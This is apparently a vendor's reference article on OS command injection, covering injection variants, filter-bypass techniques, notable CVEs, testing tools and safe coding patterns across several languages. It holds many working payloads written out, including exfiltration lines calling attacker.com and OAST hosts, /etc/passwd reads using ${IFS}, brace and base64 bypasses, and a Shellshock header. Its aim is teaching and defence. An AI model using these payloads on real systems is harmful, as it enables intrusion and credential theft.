OS command injection (CWE-77/CWE-78) lets attackers run arbitrary OS commands on the host server, enabling remote code execution and full system compromise.
TL;DR
; | && $()) chain arbitrary commands — never pass user input to a shell${IFS}, brace expansion, base64 encoding) defeat most WAF and regex sanitizersshell=False — sanitization for shell contexts is deadCommand injection is a vulnerability where user-controlled data is passed to an OS shell or command execution function without adequate neutralization (CWE-78: Improper Neutralization of Special Elements used in an OS Command). The shell interprets injected metacharacters — semicolons, pipes, backticks, $() substitution — as control operators, causing it to execute attacker-supplied commands with the privileges of the application process.
This is distinct from code injection (CWE-94), which targets the application's own runtime interpreter (e.g., eval() in Python or PHP). Command injection targets the underlying OS shell. It is also different from SQL injection, which is confined to the database layer. A successful command injection grants the attacker direct access to the host operating system: file system, process table, network interfaces, and credentials.
OWASP categorizes injection in A03:2021 (the current Top 10), with 33 CWEs mapped to this category. CWE-78 (OS Command Injection) is consistently scored at CVSS 9.8 as a base severity for unauthenticated network-reachable flaws. According to CISA's July 2024 Secure by Design alert, OS command injection remains one of the most preventable yet persistently exploited vulnerability classes in enterprise software.
The root cause is simple: any time an application builds an OS command by concatenating user-supplied strings and passes the result to a shell interpreter (/bin/sh, cmd.exe, PowerShell), the shell parses every character in the string — including the attacker's injected control operators.
The attack flow proceeds in five steps:
"ping -c 1 " + user_input.os.system(), exec(), shell_exec(), Runtime.exec(String).A minimal demonstration — a vulnerable ping endpoint and the resulting exploitation:
GET /api/tools/ping?host=127.0.0.1;id HTTP/1.1
Host: vulnerable.example.comHTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1: 56 data bytes
--- 127.0.0.1 ping statistics ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)The id command executes because && chains commands (and the same risk applies to ;, |, || separators) and starts a new one. The application returns both outputs without filtering.
| Variant | Technique | Impact |
|---|---|---|
| Classic in-band | ; cmd | cmd $(cmd) — output in response | Immediate data exfiltration, credential theft |
| Blind (no echo) | Command executes; output not returned | Arbitrary write, reverse shell launch |
| Time-based blind | ; sleep 7 with proportional delta validation | Binary oracle — confirms injection existence |
| Out-of-band (OOB) | ; nslookup $(whoami).OAST DNS/HTTP callback | Data exfiltration immune to response filtering |
| Argument injection (CWE-88) | Inject CLI flags — no metacharacters needed | File overwrite, config manipulation, RCE |
| Second-order (stored) | Payload stored; executed later by background process | Higher-privilege execution, delayed detection |
Classic in-band injection is the simplest form: the injected command's output appears directly in the HTTP response. Common separators include ; (sequential), | (pipe stdout to stdin), && (conditional AND), || (conditional OR), and %0a (URL-encoded newline — bypasses filters blocking ;|&).
Blind injection produces no output in the response. The application executes the command but discards stdout/stderr, or the injection runs in a background process. Attackers use side channels: time delays, file writes to web-accessible paths, or OOB channels.
Time-based blind injection requires a proportional validation protocol to eliminate false positives from network jitter. Inject sleep 7 and measure delay T1; inject sleep 14 and measure T2. Confirm only when T1 - baseline ≥ 5.5s AND T2 - T1 ≥ 5.5s. A single spike without scaling is server load, not injection.
Out-of-band injection triggers a DNS or HTTP request from the target server to an attacker-controlled listener. The subdomain encodes command output: ; nslookup $(whoami).COLLABORATOR.oastify.com. When the DNS server receives a lookup for www-data.COLLABORATOR.oastify.com, the injection is confirmed and the running user is exfiltrated. OOB is superior to time-based because it is immune to server load and provides identity proof. Tools: Burp Collaborator, Interactsh (oast.pro, oast.live).
Argument injection is categorically different from classic OS command injection. No shell metacharacters are needed. The attacker injects command-line flags into an array-form subprocess call that the developer assumed was safe.
# Developer intent: clone a user-specified repository
subprocess.run(["git", "clone", user_repo]) # No shell — but still vulnerable
# Attacker input:
# user_repo = "--upload-pack=touch /tmp/pwned http://legitimate-looking-url.com"
# Resulting call: git clone --upload-pack=touch /tmp/pwned http://legitimate-looking-url.com
# git executes: touch /tmp/pwnedOther high-impact argument injection vectors:
# curl: write attacker-controlled content to arbitrary path
subprocess.run(["curl", user_url])
# user_url = "-o /etc/cron.d/backdoor http://attacker.com/payload"
# SSH: ProxyCommand execution via flag injection
subprocess.run(["ssh", user_host])
# user_host = "-oProxyCommand=id>/tmp/pwned some-host"
# psql: pipe output to command via -o flag
subprocess.run(["psql", "-c", user_query, db_url])
# user_query = "-o'|id>/tmp/pwned'"The POSIX -- end-of-options terminator mitigates most argument injection:
subprocess.run(["git", "clone", "--", user_repo]) # -- prevents flag injectionCVE-2024-39930 (Gogs SSH server, CVSS 9.9) is a production example: SSH argument injection yielded full code execution on a self-hosted Git platform without any shell metacharacters.
Second-order injection stores the payload at one point in the application and triggers execution later — often by a higher-privileged process such as a cron job, admin script, or report generator.
A user registers with username = alice; curl http://attacker.com/$(id). The registration endpoint stores the value without executing it. A nightly reporting script runs: system("echo Processing user: " + username). The injected command fires in the cron context, potentially with root privileges. OOB payloads with long TTL DNS records are the most reliable detection technique — they fire when the deferred process runs, minutes or hours later.
Most injection filters block the obvious characters: ;, |, &, $. These techniques bypass them.
The Internal Field Separator ($IFS) replaces literal spaces, bypassing filters that block space characters in the value:
cat${IFS}/etc/passwd # IFS expands to space/tab/newline
cat$IFS/etc/passwd # short form
cat</etc/passwd # input redirection — no space needed
cat%09/etc/passwd # URL-encoded tab (0x09)Bash brace expansion creates a space-free command invocation:
{cat,/etc/passwd} # equivalent to: cat /etc/passwd
{ls,-la,/tmp} # ls -la /tmp — no spaces, no pipes# Base64 bypass (defeats keyword filters on "id", "whoami", "cat")
echo${IFS}aWQK|base64${IFS}-d|sh # base64("id\n") = aWQK
bash<<<$(base64${IFS}-d<<<Y2F0IC9ldGMvcGFzc3dk) # cat /etc/passwd
# Hex encoding
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'; cat $abc
# Double URL encoding (if application decodes twice)
%253b → %3b → ; (semicolon)
%2526 → %26 → & (ampersand)
# Unicode fullwidth normalization (some platforms normalize)
; (U+FF1B FULLWIDTH SEMICOLON) → may normalize to ;
| (U+FF5C FULLWIDTH VERTICAL LINE) → may normalize to |REM Caret escape — bypasses character-based filters
c^m^d /c whoami
w^ho^am^i
REM Case insensitivity — bypasses case-sensitive keyword filters
WhoAmI
WHOAMI
REM Variable expansion to build commands
set c=who
set d=ami
%c%%d%
REM Environment variable substring extraction
%PROGRAMFILES:~10,-5% # extracts "calc" from "C:\Program Files"BatBadBut (CVE-2024-24576, CVSS 10.0): When any Windows application executes a .bat or .cmd file, cmd.exe is implicitly invoked regardless of whether the caller used a shell. cmd.exe metacharacter rules — ^, &, |, %, ", (, ) — differ fundamentally from POSIX shells and cannot be neutralized by double-quote wrapping. This affected Rust (all versions < 1.77.2), PHP (CVE-2024-1874), Node.js (CVE-2024-27980), Haskell, and Go on Windows simultaneously in April 2024.
Works across unquoted, single-quoted, and double-quoted injection contexts simultaneously:
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}| CVE | Product | CVSS | Auth | Year | Status |
|---|---|---|---|---|---|
| CVE-2024-3400 | Palo Alto PAN-OS GlobalProtect | 10.0 | None | 2024 | CISA KEV, patched |
| CVE-2024-24576 | Rust stdlib Windows (BatBadBut) | 10.0 | N/A | 2024 | Fixed in Rust 1.77.2 |
| CVE-2024-21887 | Ivanti Connect Secure | 9.1 | Admin | 2024 | CISA KEV, patched |
| CVE-2024-9463 | Palo Alto Expedition | 9.9 | None | 2024 | CISA KEV, patched |
| CVE-2025-68613 | n8n workflow automation | 9.9 | Low | 2025 | Fixed in 1.120.4+ (1.121.1, 1.122.0) |
| CVE-2022-46169 | Cacti ≤ 1.2.22 | 9.8 | None | 2022 | Exploited in 48h |
| CVE-2016-3714 | ImageMagick (ImageTragick) | 8.4 | None | 2016 | Widespread web app impact |
| CVE-2014-6271 | GNU Bash (Shellshock) | 10.0 | None | 2014 | Millions of systems |
CVE-2024-3400 — PAN-OS GlobalProtect (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Discovered on April 12, 2024 and added to CISA's Known Exploited Vulnerabilities catalog the same day. The two-stage attack used a malformed SESSID cookie containing path traversal characters to create an arbitrary file on the device filesystem. A second request triggered the created file to execute as a Python script with root privileges. Threat actor UTA0218 (tracked by Volexity) deployed a Python backdoor called UPSTYLE using this vulnerability, targeting government, telecommunications, and critical infrastructure networks globally. This CVE exemplifies the dominant 2024-2025 exploitation pattern: a file write primitive chained into command execution by a privileged background process.
CVE-2024-21887 — Ivanti Connect Secure (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Disclosed January 10, 2024, this command injection in the /api/v1/license/key-status/<node_name> endpoint required administrator authentication. In isolation, CVSS 9.1. Chained with CVE-2023-46805 (authentication bypass, CVSS 8.2), the combination yielded unauthenticated RCE — one of the most impactful exploit chains of 2024. Nation-state actors deployed ZIPLINE, THINSPOOL, WIREFIRE, and LIGHTWIRE malware implants across thousands of organizations, including US government agencies. The CISA Secure by Design alert cited this CVE as evidence that authentication requirements do not sufficiently mitigate command injection — vendors must eliminate the root cause.
CVE-2025-68613 — n8n Expression Injection (CVSS 9.9)
A new attack surface emerged in 2025: AI workflow automation platforms. n8n versions 0.211.0 through 1.120.3 evaluated JavaScript expressions ({{ $json.value }}) in an insufficiently sandboxed context. A low-privilege user with workflow editing rights could escape the sandbox via process.mainModule.require and access Node.js internals:
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}With 103,000+ n8n instances publicly exposed as of December 2025, this represents a class of injection vulnerability that will grow as LLM-driven automation platforms proliferate.
Historical reference — CVE-2016-3714 (ImageTragick)
ImageMagick's delegates.xml processed user-supplied image filenames in shell system() calls with the %M specifier unescaped. A malicious MVG/SVG file with content like fill 'url(https://example.com/"|id > /tmp/pwned")' triggered OS command execution in any application that called convert on uploaded images. This affected PHP, Ruby, Node.js, and Python applications using the imagick binding. Every web application accepting image uploads that ran through ImageMagick was potentially vulnerable.
HackerOne reports: HackerOne #212696 (Imgur) — RCE via command-line argument injection in an image processing binary; HackerOne #2293731 (Internet Bug Bounty) — command injection via SSH ProxyCommand in an application passing user-controlled hostnames to subprocess calls (CVE-2023-6004).
CISA and the FBI issued a joint Secure by Design alert on July 10, 2024, specifically targeting OS command injection: "Eliminating OS Command Injection Vulnerabilities" (https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-os-command-injection-vulnerabilities). The alert calls on software manufacturers to treat command injection as an unacceptable design choice — not a vulnerability to be patched post-release.
User-Agent, Referer, X-Forwarded-For), filenames in upload flows, and JSON fields in API bodies.; echo cmdi-CANARY-$(id). If uid= appears in the response, injection is confirmed.; sleep 7 and baseline ; sleep 0. Confirm only if the delta ≥ 5.5 seconds and scales proportionally with ; sleep 14.; nslookup $(whoami).YOUR-SUBDOMAIN.oastify.com. Monitor the Collaborator panel for a DNS interaction containing the running user in the subdomain.User-Agent: () { :;}; /bin/bash -c 'id'. Test X-Forwarded-For for logging-layer injection (CVE-2022-46169 vector).- or -- in any parameter passed to an external binary (image converters, archive tools, network utilities).Commix (v4.1, 5,700+ GitHub stars) is the reference DAST tool. It tests classic, time-based, file-based, and OOB techniques across GET/POST parameters, headers, cookies, and JSON:
# Basic GET parameter scan
commix --url "http://target.com/ping?host=*"
# Header injection test
commix --url "http://target.com/" --headers "User-Agent: *"
# JSON body with smart mode and level 3
commix --url "http://target.com/api" --data '{"host": "*"}' --data-type json \
--batch --smart --level=3 --technique=CTF --failed-tries=3Burp Suite Pro active scanner uses Collaborator-based OOB detection for blind injection contexts where timing is unreliable. The OAST polling detects callbacks missed by response-based analysis.
Semgrep SAST rules flag vulnerable patterns in source code before deployment:
python.lang.security.audit.subprocess-shell-true.subprocess-shell-truejavascript.lang.security.detect-child-process.detect-child-processjava.lang.security.audit.command-injection-formatted-runtime-callCodeQL provides inter-procedural taint tracking from HTTP request sources to OS execution sinks (Runtime.exec, ProcessBuilder, subprocess, child_process.exec), finding injection chains across multiple function call layers.
BreachVex confirms command injection through multiple complementary techniques: an in-band canary echo confirmed in the response, proportional time-delta validation, an out-of-band DNS callback with per-probe correlation IDs, and a structural signal (the parameter accepts metacharacters without sanitization errors). Each finding ships with the strongest proof obtained.
OWASP, PortSwigger, and CISA converge on a single primary defense: avoid OS commands from application-layer code entirely. Use language-native libraries for tasks that seem to require shell tools.
| Task | Instead of shell | Use instead |
|---|---|---|
| File listing | ls via os.system() | os.listdir() (Python), fs.readdir() (Node.js) |
| DNS lookup | nslookup via shell | socket.gethostbyname() |
| HTTP requests | curl via shell | requests library, fetch() |
| Image processing | convert via shell | Pillow (Python), Sharp (Node.js) |
| File compression | zip via shell | zipfile module (Python) |
When OS commands are unavoidable, use array-form APIs that bypass shell interpretation entirely.
import subprocess, re
# DANGEROUS — shell=True spawns /bin/sh, metacharacters interpreted
import os
os.system(f"ping -c 1 {user_host}") # injection vector
subprocess.run(f"ping -c 1 {user_host}", shell=True) # same risk
# SAFE — array form, shell=False (default)
subprocess.run(["ping", "-c", "1", user_host]) # no shell
# SAFER — allowlist validation before the call
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', user_host):
raise ValueError("Invalid IP address")
subprocess.run(["ping", "-c", "1", user_host])
# shlex.quote() — POSIX only, NOT Windows-safe, use as last resort
# Still requires shell=True which is already risky — prefer array formconst { exec, execFile, spawn } = require('child_process');
// DANGEROUS — exec always spawns a shell
exec(`ping -c 1 ${req.query.host}`, callback);
// DANGEROUS — shell: true makes spawn equivalent to exec
spawn('ping', ['-c', '1', req.query.host], { shell: true });
// SAFE — execFile bypasses shell
execFile('ping', ['-c', '1', req.query.host], callback);
// SAFE — spawn with shell: false (default)
const child = spawn('ping', ['-c', '1', req.query.host], { shell: false });
// WARNING — on Windows, executing .bat/.cmd files implicitly invokes cmd.exe
// Even shell: false does NOT protect against BatBadBut (CVE-2024-27980)
// Avoid batch files with user-controlled arguments on Windows entirelyString userInput = request.getParameter("host");
// DANGEROUS — string form, platform-dependent tokenization
Runtime.getRuntime().exec("ping -c 1 " + userInput);
// DANGEROUS — explicit shell invocation
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ping -c 1 " + userInput});
// SAFE — ProcessBuilder with explicit argument list
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userInput);
pb.redirectErrorStream(true);
Process p = pb.start();$host = $_GET['host'];
// DANGEROUS — all invoke shell with user data
exec("ping -c 1 $host", $output);
system("ping -c 1 " . $host);
shell_exec("ping -c 1 $host");
// ACCEPTABLE — escapeshellarg() wraps input in single quotes
$safeHost = escapeshellarg($host);
exec("ping -c 1 $safeHost", $output);
// BEST — allowlist validation + escapeshellarg as defense-in-depth
if (!filter_var($host, FILTER_VALIDATE_IP)) {
http_response_code(400);
exit("Invalid input");
}
exec("ping -c 1 " . escapeshellarg($host), $output);
// NOTE: escapeshellarg() on Windows is insufficient (CVE-2024-1874, CVE-2024-5585)
// Avoid .bat/.cmd invocation with user input on Windows regardless of escapingimport "os/exec"
// SAFE — exec.Command does not invoke a shell; args passed directly to OS
cmd := exec.Command("ping", "-c", "1", userInput)
out, err := cmd.Output()
// DANGEROUS — explicit shell invocation (avoid)
cmd := exec.Command("sh", "-c", "ping -c 1 " + userInput)
// WINDOWS CAVEAT — .bat/.cmd files implicitly invoke cmd.exe on Windows
// cmd := exec.Command("script.bat", userInput) // UNSAFE on Windows
// See golang/go issue #27199# DANGEROUS — all forms invoke shell with metacharacter interpretation
`ping -c 1 #{user_input}` # backtick
%x[ping -c 1 #{user_input}] # equivalent
system("ping -c 1 #{user_input}") # single-string form invokes shell
# SAFE — multi-argument form bypasses shell
system("ping", "-c", "1", user_input) # no shell
exec("ping", "-c", "1", user_input) # no shell
require 'open3'
Open3.capture2("ping", "-c", "1", user_input) # no shell// DANGEROUS — Arguments as a single string allows injection
var psi = new ProcessStartInfo("cmd.exe", "/c ping -n 1 " + userInput);
Process.Start(psi);
// SAFE — ArgumentList (array form), available .NET 5+
var psi = new ProcessStartInfo("ping") {
// ArgumentList bypasses shell string parsing entirely
};
psi.ArgumentList.Add("-n");
psi.ArgumentList.Add("1");
psi.ArgumentList.Add(userInput); // treated as opaque data
Process.Start(psi);Even when command injection occurs, container security controls limit the blast radius:
# docker-compose.yml
security_opt:
- seccomp:./seccomp-profile.json # block ptrace, unshare, init_module
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE # only what the application needs
read_only: true
tmpfs:
- /tmp:size=100m,noexec # noexec blocks executing uploaded filesDrop CAP_SYS_PTRACE to prevent process injection, CAP_SYS_ADMIN to prevent namespace escape, CAP_SETUID to prevent privilege escalation. AppArmor or SELinux profiles can restrict which binaries the application process may execute, limiting attacker options even after injection.
The OWASP OS Command Injection Defense Cheat Sheet states: "Do NOT rely on escaping shell metacharacters as your primary defense." CISA's 2024 Secure by Design alert reinforces this: sanitization-based approaches are permanently broken for five reasons. (1) Shell metacharacters differ between bash, sh, zsh, cmd.exe, and PowerShell — a correct escaping function for one shell fails on another (demonstrated by BatBadBut). (2) Encoding bypasses — ${IFS}, brace expansion, double URL-encoding, Unicode normalization — defeat any character blacklist. (3) Argument injection (CWE-88) requires no metacharacters at all. (4) Character blacklists are inherently incomplete. (5) Patched escaping functions get re-broken by new edge cases (CVE-2024-5585 bypassed the CVE-2024-1874 fix via a trailing space). The only reliable defense is not invoking a shell.
What is the difference between command injection and code injection?
Command injection (CWE-77/CWE-78) passes attacker-controlled input to an OS shell, executing system binaries. Code injection (CWE-94) injects source code evaluated by the application's own runtime (e.g., eval() in Python or PHP). Command injection requires a shell context; code injection requires an interpreter. Both yield RCE but through different paths.
What is the difference between command injection and SQL injection? SQL injection targets database query parsers to manipulate data. Command injection targets the OS shell to execute arbitrary binaries. SQL injection is constrained to the database layer; command injection can compromise the full operating system, install backdoors, and pivot to internal networks.
What is argument injection (CWE-88)?
Argument injection injects command-line flags or options — not shell metacharacters — into a spawned process. Even shell=False array-form subprocess calls are vulnerable if user input can prepend flags. No shell is invoked; the binary itself interprets the injected option. The POSIX -- end-of-options terminator is the primary mitigation.
Is command injection the same as remote code execution (RCE)? Command injection is a vulnerability class; RCE is an impact. Successful command injection achieves RCE. Not all RCE stems from command injection — deserialization flaws, SSTI, and file inclusion also lead to RCE — but command injection is one of the most direct paths.
How does blind command injection work? The application executes the injected command but returns no output. Detection relies on time delays (proportional sleep validation), OOB DNS/HTTP callbacks to Interactsh or Burp Collaborator, or file writes to web-accessible paths.
Can a WAF fully prevent command injection?
No. ${IFS} substitution, brace expansion, base64-encoded payloads, Unicode fullwidth characters, and double URL-encoding bypass most WAF rulesets. WAFs add detection depth but cannot replace parameterized execution APIs.
What CVEs are associated with command injection in 2024-2025? CVE-2024-3400 (PAN-OS, CVSS 10.0), CVE-2024-24576 (Rust BatBadBut, CVSS 10.0), CVE-2024-21887 (Ivanti, CVSS 9.1), CVE-2024-9463 (Palo Alto Expedition, CVSS 9.9), CVE-2025-68613 (n8n, CVSS 9.9), CVE-2022-46169 (Cacti, CVSS 9.8), and CVE-2024-27980 (Node.js Windows spawn).
Why did CISA issue a Secure by Design alert about command injection? On July 10, 2024, CISA and the FBI issued a joint alert citing CVE-2024-20399, CVE-2024-3400, and CVE-2024-21887 as evidence that vendors ship products with preventable OS command injection flaws. CISA called on manufacturers to eliminate this class through secure-by-default architecture, not post-release patching.
What was Shellshock?
CVE-2014-6271 (CVSS 10.0) — a GNU Bash flaw where environment variable parsing executed trailing commands after function definitions: () { :;}; /bin/bash -c 'id'. Exploited via CGI scripts within hours of disclosure, it compromised millions of systems globally and remains a reference example in penetration testing curricula.
Command injection (CWE-77/CWE-78) passes attacker-controlled input to an OS shell, executing system binaries. Code injection (CWE-94) injects source code evaluated by the application's own runtime (e.g., eval() in Python or PHP). Command injection requires a shell context; code injection requires an interpreter. Both yield RCE but through different paths.
SQL injection targets database query parsers to manipulate data. Command injection targets the OS shell to execute arbitrary binaries. SQL injection is constrained to the database layer; command injection can compromise the full operating system, install backdoors, and pivot to internal networks. Both are injection flaws under OWASP A03:2021.
Argument injection occurs when an attacker injects command-line flags or options — not shell metacharacters — into a spawned process. Even 'safe' array-form subprocess calls are vulnerable if user input can prepend flags like --output=/etc/cron.d/backdoor to curl, or --upload-pack=id>/tmp/pwned to git clone. No shell is needed; the binary itself interprets the injected option.
Command injection is a vulnerability class; RCE is an impact. Successful command injection achieves RCE by executing OS commands on the remote host. Not all RCE stems from command injection — deserialization flaws, SSTI, and file inclusion also lead to RCE — but command injection is one of the most direct and reliable paths to it.
On Unix: semicolon (;), pipe (|), ampersand (&), double-ampersand (&&), double-pipe (||), backtick (`cmd`), and dollar-parenthesis ($(cmd)), plus URL-encoded newline (%0a). On Windows cmd.exe: & && || | and caret (^). The newline %0a is especially reliable as many filters block ; | & but not raw newlines.
Blind command injection occurs when the application executes the injected command but returns no output in the response. Detection relies on side-channel signals: time delays (sleep/ping for time-based blind), DNS or HTTP callbacks to an attacker-controlled server (OOB), or file writes to web-accessible paths. OOB via Interactsh or Burp Collaborator is the most reliable confirmation technique.
A time-based blind technique injects sleep or ping commands and measures the response delay as a binary oracle. A reliable protocol uses proportional validation: inject sleep 7 (expect ~7s delay), then inject sleep 14 (expect ~14s delay). If both delays scale proportionally, the injection is confirmed. A single spike without scaling may be network jitter or server load.
OOB injection triggers a network connection from the target server to an attacker-controlled listener. Payloads like ; nslookup $(whoami).YOUR.oast.pro cause the server to resolve a DNS name encoding the command output. The attacker monitors the DNS server (Burp Collaborator, Interactsh, oast.live) for incoming lookups. OOB is more reliable than time-based because it is immune to server load jitter and provides proof of command execution.
Commix (v4.1, open-source) automates detection using classic, time-based, file-based, and OOB techniques across GET/POST parameters, headers, cookies, and JSON bodies. Burp Suite Pro scanner uses Collaborator-based OOB detection. For SAST, Semgrep rules python.lang.security.audit.subprocess-shell-true and javascript.lang.security.detect-child-process flag vulnerable patterns in source code. CodeQL provides inter-procedural taint tracking.
Use subprocess.run() with a list of arguments and shell=False (the default). Never pass shell=True with user input. Avoid os.system() entirely. If you must sanitize, shlex.quote() works only on POSIX and is unreliable on Windows. Prefer allowlist validation before any subprocess call: validate IP addresses, filenames, or slugs against a strict regex before passing them as arguments.
Use execFile() or spawn() with an array of arguments and shell: false. Never use exec() which spawns a shell by default. On Windows, avoid executing .bat or .cmd files with user-controlled arguments — the implicit cmd.exe invocation creates injection surface regardless of shell: false (see CVE-2024-27980). In Node.js 24+, string arguments to spawn() are rejected in strict mode.
No. WAFs are bypassable via IFS substitution (cat${IFS}/etc/passwd), brace expansion ({cat,/etc/passwd}), URL double-encoding (%253B for ;), Unicode fullwidth characters (;), and base64-encoded payloads (echo aWQK|base64 -d|sh). WAFs add detection depth but cannot replace safe APIs. OWASP and CISA both state that input sanitization alone is insufficient — parameterized execution APIs are the only reliable control.
Shellshock (CVE-2014-6271, CVSS 10.0) is the canonical example. A flaw in GNU Bash's environment variable parsing allowed appending arbitrary commands after function definitions (e.g., () { :;}; /bin/bash -c 'id'). Exploited via CGI scripts within hours of disclosure, it affected millions of systems including web servers, routers, and IoT devices globally.
Major CVEs: CVE-2024-3400 (PAN-OS GlobalProtect, CVSS 10.0, CISA KEV), CVE-2024-24576 (Rust stdlib Windows BatBadBut, CVSS 10.0), CVE-2024-21887 (Ivanti Connect Secure, CVSS 9.1, CISA KEV), CVE-2024-9463 (Palo Alto Expedition, CVSS 9.9, CISA KEV), CVE-2025-68613 (n8n expression injection, CVSS 9.9), CVE-2022-46169 (Cacti, CVSS 9.8), and CVE-2024-27980 (Node.js Windows spawn, CISA KEV).
On July 10, 2024, CISA and the FBI issued a joint Secure by Design alert citing three actively exploited command injection CVEs — CVE-2024-20399 (Cisco NX-OS), CVE-2024-3400 (PAN-OS), and CVE-2024-21887 (Ivanti) — as evidence that vendors are still shipping products with preventable OS command injection flaws. CISA called on software manufacturers to eliminate this class entirely through secure-by-default architecture, not patching.